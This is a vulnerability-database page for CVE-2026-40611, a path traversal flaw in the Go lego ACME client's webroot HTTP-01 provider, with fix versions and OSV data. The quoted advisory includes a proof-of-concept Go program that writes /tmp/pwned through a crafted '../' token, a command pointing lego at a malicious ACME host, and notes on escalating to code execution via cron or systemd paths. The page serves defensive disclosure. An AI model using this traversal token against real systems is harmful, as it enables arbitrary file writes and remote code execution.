Vulnerabilities in pkg:golang/github.com/go-acme/lego/v3

PACKAGE
Advisory Identifier: GHSA-qqx8-2xmm-jrv8
Advisory Summary

CVE-2026-40611 is a HIGH (CVSS 8.8) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting ACME Lego libraries in the Go ecosystem. The issue involves arbitrary file write via path traversal in webroot http-01 provider. Remediation is available by upgrading affected packages to version 4.34.0.

2 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/go-acme/lego/v3

2 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/go-acme/lego/v3. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-qqx8-2xmm-jrv8 CVE-2026-40611 HIGH ACME Lego: Arbitrary File Write via Path Traversal in Webroot HTTP-01 Provider
GHSA-q82r-2j7m-9rv4 CVE-2025-54799 LOW github.com/go-acme/lego/v4/acme/api does not enforce HTTPS

CVE-2026-40611 at a Glance

CVE Identifier CVE-2026-40611
GHSA Identifier GHSA-qqx8-2xmm-jrv8
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product ACME Lego
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-40611

To remediate this vulnerability, upgrade all affected ACME Lego dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/go-acme/lego/v4 fixed: 4.34.0
Upgrade github.com/go-acme/lego/v4 to 4.34.0
github.com/go-acme/lego/v3 fixed: Latest secure release
Upgrade github.com/go-acme/lego/v3 to Latest secure release
github.com/go-acme/lego fixed: Latest secure release
Upgrade github.com/go-acme/lego to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/go-acme/lego/v4

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-40611, inspect your project dependencies for ACME Lego:

inspect dependencies for github.com/go-acme/lego/v4

Analyze the terminal output to locate any version of ACME Lego in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.34.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In ACME Lego, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing `../` sequences, causing lego to write attacker-influenced content to any path writable by the lego process. ### Details The `ChallengePath()` function in `challenge/http01/http_challenge.go:26-27` constructs the challenge file path by directly concatenating the ACME token without any validation: ```go func ChallengePath(token string) string { return "/.well-known/acme-challenge/" + token } ``` The webroot provider in `providers/http/webroot/webroot.go:31` then joins this with the configured webroot directory and writes the key authorization content to the resulting path: ```go challengeFilePath := filepath.Join(w.path, http01.ChallengePath(token)) err = os.MkdirAll(filepath.Dir(challengeFilePath), 0o755) err = os.WriteFile(challengeFilePath, []byte(keyAuth), 0o644) ``` RFC 8555 Section 8.3 specifies that ACME tokens must only contain characters from the base64url alphabet (`[A-Za-z0-9_-]`), but this constraint is never enforced anywhere in the codebase. When a malicious ACME server returns a token such as `../../../../../../tmp/evil`, `filepath.Join()` resolves the `..` components, producing a path outside the webroot directory. The same vulnerability exists in the `CleanUp()` function at `providers/http/webroot/webroot.go:48`, which deletes the challenge file using the same unsanitized path: ```go err := os.Remove(filepath.Join(w.path, http01.ChallengePath(token))) ``` This additionally enables arbitrary file deletion. ### PoC In a real attack scenario, the victim uses `--server` to point lego at a malicious ACME server, combined with `--http.webroot`: ```bash lego --server https://malicious-acme.example.com \ --http --http.webroot /var/www/html \ --email user@example.com \ --domains example.com \ run ``` The malicious server returns a challenge token containing path traversal sequences `../../../../../../tmp/pwned`. lego's webroot provider writes the key authorization to the traversed path without validation, resulting in arbitrary file write outside the webroot. The following minimal Go program demonstrates the core vulnerability by directly calling the webroot provider with a crafted token: ```go package main import ( "fmt" "os" "github.com/go-acme/lego/v4/providers/http/webroot" ) func main() { webrootDir, _ := os.MkdirTemp("", "lego-webroot-*") defer os.RemoveAll(webrootDir) provider, _ := webroot.NewHTTPProvider(webrootDir) token := "../../../../../../../../../../tmp/pwned" provider.Present("example.com", token, "EXPLOITED-BY-PATH-TRAVERSAL") data, err := os.ReadFile("/tmp/pwned") if err == nil { fmt.Println("[+] VULNERABILITY CONFIRMED") fmt.Printf("[+] File written outside webroot: /tmp/pwned\n") fmt.Printf("[+] Content: %s\n", data) } } ``` ```bash go build -o exploit ./exploit.go && ./exploit ``` Expected output: ``` [+] VULNERABILITY CONFIRMED [+] File written outside webroot: /tmp/pwned [+] Content: EXPLOITED-BY-PATH-TRAVERSAL ``` ### Impact This is a path traversal vulnerability (CWE-22). Any user running lego with the HTTP-01 challenge solver against a malicious or compromised ACME server is affected. A malicious ACME server can: - Achieve remote code execution by writing to cron directories, systemd unit paths, shell profiles, or web application directories served by the webroot. - Destroy data by overwriting configuration files, TLS certificates, or application state. - Escalate privileges if lego runs as root, granting unrestricted filesystem write access. - Delete arbitrary files via the `CleanUp()` code path using the same unsanitized token.

CVE-2026-40611 Affected ACME Lego Versions

3 component(s)
Fixed Versions:
4.34.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/go-acme/lego/v4
Go
< 4.34.0
4.34.0
github.com/go-acme/lego/v3
Go
≤ 3.9.0
github.com/go-acme/lego
Go
≤ 2.7.2

References

Frequently Asked Questions

What is CVE-2026-40611?
CVE-2026-40611 is a security vulnerability in ACME Lego involving Arbitrary File Write via Path Traversal in Webroot HTTP-01 Provider under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which ACME Lego versions are affected?
Affected versions include releases prior to 4.34.0 across affected packages: github.com/go-acme/lego/v4, github.com/go-acme/lego/v3, github.com/go-acme/lego.
What version fixes CVE-2026-40611?
Upgrading to 4.34.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/go-acme/lego/v4 affected?
Yes, github.com/go-acme/lego/v4 is affected in releases prior to 4.34.0. Upgrade your dependency to 4.34.0 or later.
Is github.com/go-acme/lego/v3 affected?
Yes, github.com/go-acme/lego/v3 is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-40611?
CVE-2026-40611 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-40611?
CVE-2026-40611 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Go dependencies for CVE-2026-40611?
Run the dependency tree command: 'inspect dependencies for github.com/go-acme/lego/v4'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qqx8-2xmm-jrv8",
  "modified" : "2026-04-27T16:16:11Z",
  "published" : "2026-04-16T21:28:55Z",
  "aliases" : [ "CVE-2026-40611" ],
  "summary" : "ACME Lego: Arbitrary File Write via Path Traversal in Webroot HTTP-01 Provider",
  "details" : "### Summary\n\nThe webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing `../` sequences, causing lego to write attacker-influenced content to any path writable by the lego process. \n\n### Details\n\nThe `ChallengePath()` function in `challenge/http01/http_challenge.go:26-27` constructs the challenge file path by directly concatenating the ACME token without any validation:\n\n```go\nfunc ChallengePath(token string) string {\n\treturn \"/.well-known/acme-challenge/\" + token\n}\n```\n\nThe webroot provider in `providers/http/webroot/webroot.go:31` then joins this with the configured webroot directory and writes the key authorization content to the resulting path:\n\n```go\nchallengeFilePath := filepath.Join(w.path, http01.ChallengePath(token))\nerr = os.MkdirAll(filepath.Dir(challengeFilePath), 0o755)\nerr = os.WriteFile(challengeFilePath, []byte(keyAuth), 0o644)\n```\n\nRFC 8555 Section 8.3 specifies that ACME tokens must only contain characters from the base64url alphabet (`[A-Za-z0-9_-]`), but this constraint is never enforced anywhere in the codebase. When a malicious ACME server returns a token such as `../../../../../../tmp/evil`, `filepath.Join()` resolves the `..` components, producing a path outside the webroot directory.\n\nThe same vulnerability exists in the `CleanUp()` function at `providers/http/webroot/webroot.go:48`, which deletes the challenge file using the same unsanitized path:\n\n```go\nerr := os.Remove(filepath.Join(w.path, http01.ChallengePath(token)))\n```\n\nThis additionally enables arbitrary file deletion.\n\n### PoC\n\nIn a real attack scenario, the victim uses `--server` to point lego at a malicious ACME server, combined with `--http.webroot`:\n\n```bash\nlego --server https://malicious-acme.example.com \\\n     --http --http.webroot /var/www/html \\\n     --email user@example.com \\\n     --domains example.com \\\n     run\n```\n\nThe malicious server returns a challenge token containing path traversal sequences `../../../../../../tmp/pwned`. lego's webroot provider writes the key authorization to the traversed path without validation, resulting in arbitrary file write outside the webroot.\n\nThe following minimal Go program demonstrates the core vulnerability by directly calling the webroot provider with a crafted token:\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/go-acme/lego/v4/providers/http/webroot\"\n)\n\nfunc main() {\n\twebrootDir, _ := os.MkdirTemp(\"\", \"lego-webroot-*\")\n\tdefer os.RemoveAll(webrootDir)\n\n\tprovider, _ := webroot.NewHTTPProvider(webrootDir)\n\ttoken := \"../../../../../../../../../../tmp/pwned\"\n\tprovider.Present(\"example.com\", token, \"EXPLOITED-BY-PATH-TRAVERSAL\")\n\n\tdata, err := os.ReadFile(\"/tmp/pwned\")\n\tif err == nil {\n\t\tfmt.Println(\"[+] VULNERABILITY CONFIRMED\")\n\t\tfmt.Printf(\"[+] File written outside webroot: /tmp/pwned\\n\")\n\t\tfmt.Printf(\"[+] Content: %s\\n\", data)\n\t}\n}\n```\n\n```bash\ngo build -o exploit ./exploit.go && ./exploit\n```\n\nExpected output:\n\n```\n[+] VULNERABILITY CONFIRMED\n[+] File written outside webroot: /tmp/pwned\n[+] Content: EXPLOITED-BY-PATH-TRAVERSAL\n```\n\n### Impact\n\nThis is a path traversal vulnerability (CWE-22). Any user running lego with the HTTP-01 challenge solver against a malicious or compromised ACME server is affected.\n\nA malicious ACME server can:\n\n- Achieve remote code execution by writing to cron directories, systemd unit paths, shell profiles, or web application directories served by the webroot.\n- Destroy data by overwriting configuration files, TLS certificates, or application state.\n- Escalate privileges if lego runs as root, granting unrestricted filesystem write access.\n- Delete arbitrary files via the `CleanUp()` code path using the same unsanitized token.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/go-acme/lego/v4"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.34.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/go-acme/lego/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "3.9.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/go-acme/lego"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.7.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-acme/lego/security/advisories/GHSA-qqx8-2xmm-jrv8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40611"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-acme/lego"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-16T21:28:55Z",
    "nvd_published_at" : "2026-04-21T18:16:52Z"
  }
}